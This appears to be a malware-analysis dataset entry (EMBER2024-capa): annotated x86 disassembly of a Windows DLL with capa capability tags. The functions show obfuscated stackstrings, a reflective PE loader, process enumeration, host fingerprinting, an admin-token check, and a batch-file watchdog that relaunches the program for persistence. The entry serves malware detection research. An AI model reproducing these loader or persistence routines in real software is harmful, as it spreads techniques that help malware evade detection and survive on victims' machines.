joyce8/EMBER2024-capa huggingface dataset:
Function at 0x10010198
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x5c
mov eax, dword [0x10179c00]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [esi + 4]
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov dword [ebp - 0x48], eax
push edi
lea eax, [ebp - 0x38]
push eax
lea eax, [ebp - 0x28]
push eax
mov dword [ebp - 0x4c], 1
mov dword [ebp - 0x28], 0x4e52454b
mov dword [ebp - 0x24], 0x32334c45
mov dword [ebp - 0x20], 0x6c6c642e
mov byte [ebp - 0x1c], 0
mov dword [ebp - 0x38], 0x61427349
mov dword [ebp - 0x34], 0x61655264
mov dword [ebp - 0x30], 0x72745064
mov byte [ebp - 0x2c], 0
call ebx
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call edi
mov dword [ebp - 0x58], eax
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 0x18]
push eax
mov dword [ebp - 0x18], 0x4356534d
mov dword [ebp - 0x14], 0x642e5452
mov word [ebp - 0x10], 0x6c6c
mov byte [ebp - 0xe], 0
mov dword [ebp - 0xc], 0x6c616572
mov dword [ebp - 8], 0x636f6c
call ebx
push eax
call edi
mov dword [ebp - 0x5c], eax
mov eax, dword [esi]
cmp dword [eax + 0x84], 0
jbe 0x10010349
mov eax, dword [eax + 0x80]
add eax, dword [ebp - 0x48]
push 0x14
push eax
mov dword [ebp - 0x40], eax
call dword [ebp - 0x58]
test eax, eax
jne 0x10010349
mov eax, dword [ebp - 0x40]
add eax, 0x10
mov dword [ebp - 0x44], eax
mov eax, dword [ebp - 0x44]
mov eax, dword [eax - 4]
test eax, eax
je 0x10010349
add eax, dword [ebp - 0x48]
push eax
call ebx
mov dword [ebp - 0x40], eax
test eax, eax
je 0x10010345
mov eax, dword [esi + 0xc]
lea eax, [eax*4 + 4]
push eax
push dword [esi + 8]
call dword [ebp - 0x5c]
pop ecx
pop ecx
mov dword [esi + 8], eax
test eax, eax
je 0x10010345
mov ecx, dword [esi + 0xc]
mov edx, dword [ebp - 0x40]
mov dword [eax + ecx*4], edx
inc dword [esi + 0xc]
mov edx, dword [ebp - 0x44]
mov ecx, dword [edx - 0x10]
mov edx, dword [edx]
test ecx, ecx
je 0x100102ce
mov eax, dword [ebp - 0x48]
add ecx, eax
mov dword [ebp - 0x3c], ecx
add edx, eax
jmp 0x100102d6
add edx, dword [ebp - 0x48]
mov dword [ebp - 0x3c], edx
mov ecx, edx
mov eax, dword [ecx]
test eax, eax
je 0x10010325
mov dword [ebp - 0x50], edx
sub dword [ebp - 0x50], ecx
jmp 0x100102e7
mov ecx, dword [ebp - 0x3c]
mov edx, dword [ebp - 0x50]
add edx, ecx
mov dword [ebp - 0x54], edx
test eax, eax
jns 0x100102fa
and eax, 0xffff
jmp 0x10010300
add eax, dword [ebp - 0x48]
add eax, 2
push eax
push dword [ebp - 0x40]
call edi
mov ecx, dword [ebp - 0x54]
mov dword [ecx], eax
mov eax, ecx
cmp dword [eax], 0
je 0x10010321
add dword [ebp - 0x3c], 4
mov eax, dword [ebp - 0x3c]
mov eax, dword [eax]
test eax, eax
jne 0x100102e4
jmp 0x10010325
and dword [ebp - 0x4c], 0
cmp dword [ebp - 0x4c], 0
je 0x10010349
add dword [ebp - 0x44], 0x14
mov eax, dword [ebp - 0x44]
push 0x14
add eax, 0xfffffff0
push eax
call dword [ebp - 0x58]
test eax, eax
je 0x1001026d
jmp 0x10010349
and dword [ebp - 0x4c], 0
mov ecx, dword [ebp - 4]
mov eax, dword [ebp - 0x4c]
pop edi
xor ecx, ebp
pop ebx
call fcn.1010259e
leave
ret
Function at 0x100103ea
Capabilities:
Contain obfuscated stackstrings
Link many functions at runtime

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x74
mov eax, dword [0x10179c00]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
push esi
mov esi, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov dword [ebp - 0x64], eax
push edi
lea eax, [ebp - 0x40]
push eax
lea eax, [ebp - 0x14]
xor ebx, ebx
push eax
mov dword [ebp - 0x14], 0x4e52454b
mov dword [ebp - 0x10], 0x32334c45
mov dword [ebp - 0xc], 0x6c6c642e
mov byte [ebp - 8], bl
mov dword [ebp - 0x40], 0x65657246
mov dword [ebp - 0x3c], 0x7262694c
mov dword [ebp - 0x38], 0x797261
call esi
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call edi
mov dword [ebp - 0x6c], eax
lea eax, [ebp - 0x28]
push eax
lea eax, [ebp - 0x14]
push eax
mov dword [ebp - 0x28], 0x70616548
mov dword [ebp - 0x24], 0x65657246
mov byte [ebp - 0x20], bl
call esi
push eax
call edi
mov dword [ebp - 0x70], eax
lea eax, [ebp - 0x4c]
push eax
lea eax, [ebp - 0x14]
push eax
mov dword [ebp - 0x4c], 0x74726956
mov dword [ebp - 0x48], 0x466c6175
mov dword [ebp - 0x44], 0x656572
call esi
push eax
call edi
mov dword [ebp - 0x74], eax
lea eax, [ebp - 0x5c]
push eax
lea eax, [ebp - 0x14]
push eax
mov dword [ebp - 0x5c], 0x50746547
mov dword [ebp - 0x58], 0x65636f72
mov dword [ebp - 0x54], 0x65487373
mov word [ebp - 0x50], 0x7061
mov byte [ebp - 0x4e], bl
call esi
push eax
call edi
mov dword [ebp - 0x68], eax
lea eax, [ebp - 0x1c]
push eax
lea eax, [ebp - 0x34]
push eax
mov dword [ebp - 0x34], 0x4356534d
mov dword [ebp - 0x30], 0x642e5452
mov word [ebp - 0x2c], 0x6c6c
mov byte [ebp - 0x2a], bl
mov dword [ebp - 0x1c], 0x65657266
mov byte [ebp - 0x18], bl
call esi
push eax
call edi
mov esi, dword [ebp - 0x64]
mov dword [ebp - 0x60], eax
cmp esi, ebx
je 0x10010554
cmp dword [esi + 0x10], ebx
je 0x10010511
mov ecx, dword [esi]
mov eax, dword [esi + 4]
mov ecx, dword [ecx + 0x28]
push ebx
push ebx
push eax
add ecx, eax
call ecx
mov dword [esi + 0x10], ebx
cmp dword [esi + 8], ebx
je 0x1001053a
xor edi, edi
cmp dword [esi + 0xc], ebx
jle 0x10010533
mov eax, dword [esi + 8]
lea eax, [eax + edi*4]
cmp dword [eax], 0xffffffff
je 0x1001052d
push dword [eax]
call dword [ebp - 0x6c]
inc edi
cmp edi, dword [esi + 0xc]
jl 0x1001051d
push dword [esi + 8]
call dword [ebp - 0x60]
pop ecx
mov eax, dword [esi + 4]
cmp eax, ebx
je 0x1001054b
push 0x8000
push ebx
push eax
call dword [ebp - 0x74]
push esi
push ebx
call dword [ebp - 0x68]
push eax
call dword [ebp - 0x70]
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.1010259e
leave
ret
Function at 0x10010563
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
mov eax, dword [ebp + 8]
mov ecx, 0x5a4d
mov word [eax], 0x5a4d
cmp word [eax], cx
je 0x1001057e
xor eax, eax
leave
ret
push esi
mov esi, dword [eax + 0x3c]
add esi, eax
cmp dword [esi], 0x4550
je 0x10010593
xor eax, eax
jmp 0x10010686
push ebx
push edi
mov edi, dword [sym.imp.KERNEL32.dll_VirtualAlloc]
push 4
mov ebx, 0x2000
push ebx
push dword [esi + 0x50]
push dword [esi + 0x34]
call edi
mov dword [ebp - 4], eax
test eax, eax
jne 0x100105c6
push 4
push ebx
push dword [esi + 0x50]
push eax
call edi
mov dword [ebp - 4], eax
test eax, eax
je 0x1001067b
push 0x14
push 0
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov ebx, eax
mov eax, dword [ebp - 4]
push 4
xor ecx, ecx
push 0x1000
mov dword [ebx + 4], eax
mov dword [ebx + 0xc], ecx
mov dword [ebx + 8], ecx
mov dword [ebx + 0x10], ecx
push dword [esi + 0x50]
push eax
call edi
push 4
push 0x1000
push dword [esi + 0x54]
push dword [ebp - 4]
call edi
mov edi, dword [ebp + 8]
mov ecx, dword [edi + 0x3c]
add ecx, dword [esi + 0x54]
mov dword [ebp - 8], eax
push ecx
mov ecx, dword [0x1017c164]
push edi
push eax
call fcn.10010768
mov eax, dword [edi + 0x3c]
add eax, dword [ebp - 8]
mov ecx, dword [ebp - 4]
push esi
mov dword [ebx], eax
push edi
mov dword [eax + 0x34], ecx
call fcn.1000fe7f
mov edi, dword [ebp - 4]
mov eax, edi
sub eax, dword [esi + 0x34]
pop ecx
pop ecx
je 0x1001064a
push eax
mov eax, ebx
call fcn.1001011d
pop ecx
mov esi, ebx
call fcn.10010198
test eax, eax
je 0x10010674
call fcn.1000ffc2
mov eax, dword [ebx]
mov eax, dword [eax + 0x28]
test eax, eax
je 0x10010682
add eax, edi
je 0x10010674
push 0
xor esi, esi
inc esi
push esi
push edi
call eax
test eax, eax
jne 0x1001067f
push ebx
call fcn.100103ea
pop ecx
xor eax, eax
jmp 0x10010684
mov dword [ebx + 0x10], esi
mov eax, ebx
pop edi
pop ebx
pop esi
leave
ret
Function at 0x10011b4a
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x5c
mov eax, dword [0x10179c00]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
push esi
mov esi, dword [sym.imp.KERNEL32.dll_Sleep]
push edi
xor ebx, ebx
push ebx
mov dword [ebp - 0x54], eax
call esi
lea eax, [ebp - 0x50]
push eax
lea eax, [ebp - 0x14]
push eax
mov dword [ebp - 0x50], 0x61657243
mov dword [ebp - 0x4c], 0x6f546574
mov dword [ebp - 0x48], 0x65686c6f
mov dword [ebp - 0x44], 0x3233706c
mov dword [ebp - 0x40], 0x70616e53
mov dword [ebp - 0x3c], 0x746f6873
mov byte [ebp - 0x38], bl
mov dword [ebp - 0x14], 0x4e52454b
mov dword [ebp - 0x10], 0x32334c45
mov dword [ebp - 0xc], 0x6c6c642e
mov byte [ebp - 8], bl
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push ebx
push 2
call eax
push ebx
mov dword [ebp - 0x58], eax
call esi
push 0x128
call fcn.10014139
pop ecx
push ebx
mov edi, eax
call esi
push ebx
mov dword [edi], 0x128
call esi
push ebx
call esi
push edi
push dword [ebp - 0x58]
call sub.KERNEL32.dll_Process32First
test eax, eax
je 0x10011cbb
push ebx
call esi
push ebx
call esi
push dword [ebp - 0x54]
mov ecx, dword [0x1017c164]
lea eax, [edi + 0x24]
push eax
call fcn.10010699
push ebx
test eax, eax
jne 0x10011c44
call esi
push ebx
call esi
mov eax, dword [edi + 8]
push edi
mov dword [ebp - 0x54], eax
call fcn.10014173
pop ecx
push ebx
call esi
mov eax, dword [ebp - 0x54]
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.1010259e
leave
ret
call esi
lea eax, [ebp - 0x34]
push eax
lea eax, [ebp - 0x24]
push eax
mov dword [ebp - 0x34], 0x636f7250
mov dword [ebp - 0x30], 0x33737365
mov dword [ebp - 0x2c], 0x78654e32
mov word [ebp - 0x28], 0x74
mov dword [ebp - 0x24], 0x4e52454b
mov dword [ebp - 0x20], 0x32334c45
mov dword [ebp - 0x1c], 0x6c6c642e
mov byte [ebp - 0x18], bl
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push edi
push dword [ebp - 0x58]
mov dword [ebp - 0x5c], eax
call eax
jmp 0x10011cb7
push ebx
call esi
push dword [ebp - 0x54]
lea eax, [edi + 0x24]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcmpiA]
push ebx
test eax, eax
je 0x10011ccc
call esi
push edi
push dword [ebp - 0x58]
call dword [ebp - 0x5c]
test eax, eax
jne 0x10011c99
push ebx
call esi
push dword [ebp - 0x58]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov dword [ebp - 0x54], ebx
jmp 0x10011cd4
call esi
mov eax, dword [edi + 8]
mov dword [ebp - 0x54], eax
push edi
call fcn.10014173
pop ecx
push ebx
call esi
mov eax, dword [ebp - 0x54]
jmp 0x10011c35
Function at 0x10011e49
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
mov eax, dword [ebp + 0x10]
push esi
mov esi, dword [sym.imp.KERNEL32.dll_Sleep]
mov dword [ebp - 0x10], eax
mov eax, dword [ebp + 0x14]
push edi
mov dword [ebp - 0xc], eax
mov al, byte [ebp + 0x20]
xor edi, edi
push edi
mov byte [ebp - 8], al
call esi
push edi
push edi
push edi
push edi
call dword [sym.imp.KERNEL32.dll_CreateEventA]
push edi
mov dword [ebp - 4], eax
call esi
lea eax, [ebp + 0x20]
push eax
push dword [ebp + 0x18]
lea eax, [ebp - 0x10]
push eax
push 0x10011dbd
push dword [ebp + 0xc]
push dword [ebp + 8]
call fcn.101056f1
add esp, 0x18
push 0xffffffffffffffff
push dword [ebp - 4]
mov esi, eax
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
mov eax, esi
pop esi
leave
ret

Function at 0x10011fd7
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push ecx
and dword [ebp - 4], 0
push esi
lea eax, [ebp - 4]
push eax
push dword [ebp + 8]
call fcn.10011edf
pop ecx
mov esi, eax
mov eax, dword [ebp - 4]
pop ecx
xor ecx, ecx
test esi, esi
jle 0x1001200a
mov dl, byte [ecx + eax]
add dl, 0x6d
xor dl, 0x13
mov byte [ecx + eax], dl
inc ecx
cmp ecx, esi
jl 0x10011ff9
pop esi
leave
ret

Function at 0x1001200d
Capabilities:
Contain obfuscated stackstrings
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x244
mov eax, dword [0x10179c00]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
mov esi, 0x1012e520
lea edi, [ebp - 0x134]
mov ebx, 0xfd
movsw word es:[edi], word [esi]
push ebx
lea eax, [ebp - 0x131]
push 0
push eax
movsb byte es:[edi], byte [esi]
call fcn.10102140
mov esi, 0x1012e51c
lea edi, [ebp - 0x234]
movsw word es:[edi], word [esi]
push ebx
lea eax, [ebp - 0x231]
push 0
push eax
movsb byte es:[edi], byte [esi]
call fcn.10102140
lea eax, [ebp - 0x234]
push eax
lea eax, [ebp - 0x134]
push eax
call fcn.101045e0
add esp, 0x20
push 4
pop eax
mov dword [ebp - 0x240], eax
mov dword [ebp - 0x244], eax
lea eax, [ebp - 0x238]
push eax
lea eax, [ebp - 0x34]
push eax
push reloc.OLEAUT32.dll_SysReAllocString
mov dword [ebp - 0x34], 0x44524148
mov dword [ebp - 0x30], 0x45524157
mov dword [ebp - 0x2c], 0x5345445c
mov dword [ebp - 0x28], 0x50495243
mov dword [ebp - 0x24], 0x4e4f4954
mov dword [ebp - 0x20], 0x7379535c
mov dword [ebp - 0x1c], 0x5c6d6574
mov dword [ebp - 0x18], 0x746e6543
mov dword [ebp - 0x14], 0x506c6172
mov dword [ebp - 0x10], 0x65636f72
mov dword [ebp - 0xc], 0x726f7373
mov word [ebp - 8], 0x305c
mov byte [ebp - 6], 0
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyA]
lea eax, [ebp - 0x240]
push eax
lea eax, [ebp - 0x23c]
push eax
lea eax, [ebp - 0x244]
push eax
push 0
lea eax, [ebp - 0x134]
push eax
push dword [ebp - 0x238]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
push dword [ebp - 0x238]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov ecx, dword [ebp - 4]
mov eax, dword [ebp - 0x23c]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.1010259e
leave
ret
Function at 0x1001213f
Capabilities:
Enumerate devices by category

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
push esi
push edi
xor esi, esi
push esi
xor edi, edi
call dword [sym.imp.ole32.dll_CoInitialize]
lea eax, [ebp - 0x10]
push eax
push 0x101570d4
push 1
push esi
push 0x101570b4
call dword [sym.imp.ole32.dll_CoCreateInstance]
test eax, eax
je 0x10012174
xor eax, eax
jmp 0x10012207
mov eax, dword [ebp - 0x10]
mov ecx, dword [eax]
push esi
lea edx, [ebp - 4]
push edx
push 0x101570c4
push eax
call dword [ecx + 0xc]
test eax, eax
jne 0x1001216d
mov eax, dword [ebp - 4]
mov ecx, dword [eax]
push eax
call dword [ecx + 0x14]
jmp 0x100121e8
mov eax, dword [ebp - 8]
mov ecx, dword [eax]
lea edx, [ebp - 0xc]
push edx
push 0x10156d08
push esi
push esi
push eax
call dword [ecx + 0x24]
test eax, eax
js 0x100121df
push 8
pop eax
push esi
lea edx, [ebp - 0x24]
push edx
mov word [ebp - 0x24], ax
mov eax, dword [ebp - 0xc]
mov ecx, dword [eax]
push str.FriendlyName
push eax
call dword [ecx + 0xc]
test eax, eax
jne 0x100121d6
push dword [ebp - 0x1c]
inc edi
call dword [sym.imp.OLEAUT32.dll_SysStringLen]
mov eax, dword [ebp - 0xc]
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
mov eax, dword [ebp - 8]
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
mov eax, dword [ebp - 4]
mov ecx, dword [eax]
lea edx, [ebp - 0x14]
push edx
lea edx, [ebp - 8]
push edx
push 1
push eax
call dword [ecx + 0xc]
test eax, eax
je 0x10012196
call dword [sym.imp.ole32.dll_CoUninitialize]
mov eax, edi
pop edi
pop esi
leave
ret

Function at 0x10012316
Capabilities:
Contain obfuscated stackstrings
Get hostname

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x434
mov eax, dword [0x10179c00]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
mov esi, dword [ebp + 0xc]
push edi
mov edi, dword [ebp + 8]
xor ebx, ebx
push 0x3ff
lea eax, [ebp - 0x433]
push ebx
push eax
mov byte [ebp - 0x434], bl
call fcn.10102140
push dword [ebp + 0x10]
push ebx
push esi
call fcn.10102140
push 0x400
lea eax, [ebp - 0x434]
push ebx
push eax
call fcn.10102140
push edi
lea eax, [ebp - 0x34]
push eax
lea eax, [ebp - 0x434]
push eax
mov dword [ebp - 0xc], 0x74736f48
mov byte [ebp - 8], bl
mov dword [ebp - 0x34], 0x54535953
mov dword [ebp - 0x30], 0x435c4d45
mov dword [ebp - 0x2c], 0x65727275
mov dword [ebp - 0x28], 0x6f43746e
mov dword [ebp - 0x24], 0x6f72746e
mov dword [ebp - 0x20], 0x7465536c
mov dword [ebp - 0x1c], 0x7265535c
mov dword [ebp - 0x18], 0x65636976
mov dword [ebp - 0x14], 0x73255c73
mov byte [ebp - 0x10], bl
call dword [sym.imp.USER32.dll_wsprintfA]
push ebx
push dword [ebp + 0x10]
lea eax, [ebp - 0xc]
push ebx
push esi
push 1
push eax
lea eax, [ebp - 0x434]
push eax
push reloc.OLEAUT32.dll_SysReAllocString
call fcn.1001104a
mov edi, dword [sym.imp.KERNEL32.dll_lstrlenA]
add esp, 0x50
push esi
call edi
test eax, eax
jne 0x10012404
push ebx
call dword [sym.imp.KERNEL32.dll_Sleep]
push dword [ebp + 0x10]
push esi
call dword [sym.imp.WS2_32.dll_gethostname]
push esi
call edi
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.1010259e
leave
ret
Function at 0x100124a9
Capabilities:
Get token membership

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
mov eax, dword [0x10179c00]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
xor ebx, ebx
lea eax, [ebp - 0x14]
push eax
push ebx
push ebx
push ebx
push ebx
push ebx
push ebx
push 0x220
push 0x20
push 2
lea eax, [ebp - 0xc]
push eax
mov dword [ebp - 0xc], ebx
mov word [ebp - 8], 0x500
call dword [sym.imp.ADVAPI32.dll_AllocateAndInitializeSid]
mov dword [ebp - 0x10], eax
cmp eax, ebx
je 0x10012507
lea eax, [ebp - 0x10]
push eax
push dword [ebp - 0x14]
push ebx
call dword [sym.imp.ADVAPI32.dll_CheckTokenMembership]
test eax, eax
jne 0x100124fe
mov dword [ebp - 0x10], ebx
push dword [ebp - 0x14]
call dword [sym.imp.ADVAPI32.dll_FreeSid]
mov ecx, dword [ebp - 4]
mov eax, dword [ebp - 0x10]
xor ecx, ebp
pop ebx
call fcn.1010259e
leave
ret

Function at 0x100126ca
Capabilities:
Get graphical window text

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x310
mov eax, dword [0x10179c00]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
mov ebx, 0x103
push ebx
lea eax, [ebp - 0x20b]
push 0
push eax
mov byte [ebp - 0x20c], 0
call fcn.10102140
push 5
pop ecx
mov esi, str.CTXOPConntion_Class
lea edi, [ebp - 0x108]
rep movsd dword es:[edi], dword [esi]
push pe_nt_image_headers32
xor edi, edi
lea eax, [ebp - 0xf4]
push edi
push eax
call fcn.10102140
push ebx
lea eax, [ebp - 0x30f]
push edi
push eax
mov byte [ebp - 0x310], 0
call fcn.10102140
add esp, 0x24
push edi
lea eax, [ebp - 0x108]
push eax
call dword [sym.imp.USER32.dll_FindWindowA]
mov ebx, eax
cmp ebx, edi
je 0x100127ef
mov esi, 0x104
lea eax, [ebp - 0x108]
push str.CTXOPConntion_Class
push eax
call fcn.10104a20
pop ecx
pop ecx
test eax, eax
jne 0x100127cd
push esi
lea eax, [ebp - 0x108]
push eax
push ebx
call dword [sym.imp.USER32.dll_GetWindowTextA]
lea eax, [ebp - 0x108]
push eax
call fcn.10104540
pop ecx
dec eax
cmp byte [ebp + eax - 0x108], 0x5f
jne 0x10012787
lea eax, [ebp + eax - 0x107]
push eax
lea eax, [ebp - 0x310]
push eax
call fcn.101045d0
lea eax, [ebp - 0x310]
push eax
lea eax, [ebp - 0x20c]
push eax
call fcn.101045e0
lea eax, [ebp - 0x20c]
push 0x1012d938
push eax
call fcn.101045e0
add esp, 0x18
push 2
push ebx
call dword [sym.imp.USER32.dll_GetWindow]
mov ebx, eax
push esi
lea eax, [ebp - 0x108]
push eax
push ebx
call dword [sym.imp.USER32.dll_GetClassNameA]
cmp ebx, edi
jne 0x10012754
push ebx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
lea eax, [ebp - 0x20c]
push eax
call fcn.10012657
lea eax, [ebp - 0x20c]
push eax
call fcn.10104540
pop ecx
pop ecx
pop edi
pop esi
cmp eax, 4
pop ebx
lea eax, [ebp - 0x20c]
ja 0x10012823
mov eax, 0x1012e5e0
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.1010259e
leave
ret
Function at 0x10012cd4
Capabilities:
Create process on windows
Get common file path
Write and execute a file
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x460
mov eax, dword [0x10179c00]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
mov edi, 0x103
xor ebx, ebx
push edi
lea eax, [ebp - 0x45b]
push ebx
push eax
mov byte [ebp - 0x45c], bl
call fcn.10102140
mov esi, dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
add esp, 0xc
push 0x104
lea eax, [ebp - 0x45c]
push eax
push ebx
call esi
push edi
lea eax, [ebp - 0x357]
push ebx
push eax
mov byte [ebp - 0x358], bl
call fcn.10102140
add esp, 0xc
push 0x104
lea eax, [ebp - 0x358]
push eax
push ebx
call esi
lea eax, [ebp - 0x358]
push eax
call dword [sym.imp.SHLWAPI.dll_PathStripPathA]
call fcn.10012c80
push eax
lea eax, [ebp - 0x150]
push 0x1012e708
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
mov esi, dword [sym.imp.KERNEL32.dll_lstrcatA]
add esp, 0xc
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 0x150]
push eax
mov dword [ebp - 0xc], 0x7461622e
mov byte [ebp - 8], bl
call esi
push edi
lea eax, [ebp - 0x253]
push ebx
push eax
mov byte [ebp - 0x254], bl
call fcn.10102140
add esp, 0xc
push 1
push 0x1a
lea eax, [ebp - 0x254]
push eax
push ebx
call dword [sym.imp.SHELL32.dll_SHGetSpecialFolderPathA]
lea eax, [ebp - 0x254]
push str._._mnbvcxz_lkjhgfdsa__poiuytrewq
push eax
call fcn.101045e0
lea eax, [ebp - 0x150]
push eax
lea eax, [ebp - 0x254]
push eax
call fcn.101045e0
push edi
lea eax, [ebp - 0x10f]
push ebx
push eax
mov byte [ebp - 0x110], bl
call fcn.10102140
add esp, 0x1c
push str._echo_off_n_r_set__file
lea eax, [ebp - 0x110]
push eax
call esi
lea eax, [ebp - 0x358]
push eax
lea eax, [ebp - 0x110]
push eax
call esi
mov edi, 0x1012e6ec
push edi
lea eax, [ebp - 0x110]
push eax
call esi
push str.for__f__delims____I_in____file____do_set__image__nxI__n_r
lea eax, [ebp - 0x110]
push eax
call esi
push str.:begin_n_r
lea eax, [ebp - 0x110]
push eax
call esi
push str.tasklistfind__i___image___n_r
lea eax, [ebp - 0x110]
push eax
call esi
push str.if___errorlevel___1__start_____
lea eax, [ebp - 0x110]
push eax
call esi
lea eax, [ebp - 0x45c]
push eax
lea eax, [ebp - 0x110]
push eax
call esi
push edi
lea eax, [ebp - 0x110]
push eax
call esi
push str.goto_begin_n_r
lea eax, [ebp - 0x110]
push eax
call esi
push ebx
push 2
push 2
push ebx
push ebx
push 0x40000000
lea eax, [ebp - 0x254]
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov esi, eax
push ebx
lea eax, [ebp - 0x460]
push eax
push 0x104
lea eax, [ebp - 0x110]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_WriteFile]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push ebx
lea eax, [ebp - 0x254]
push eax
call dword [sym.imp.KERNEL32.dll_WinExec]
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.1010259e
leave
ret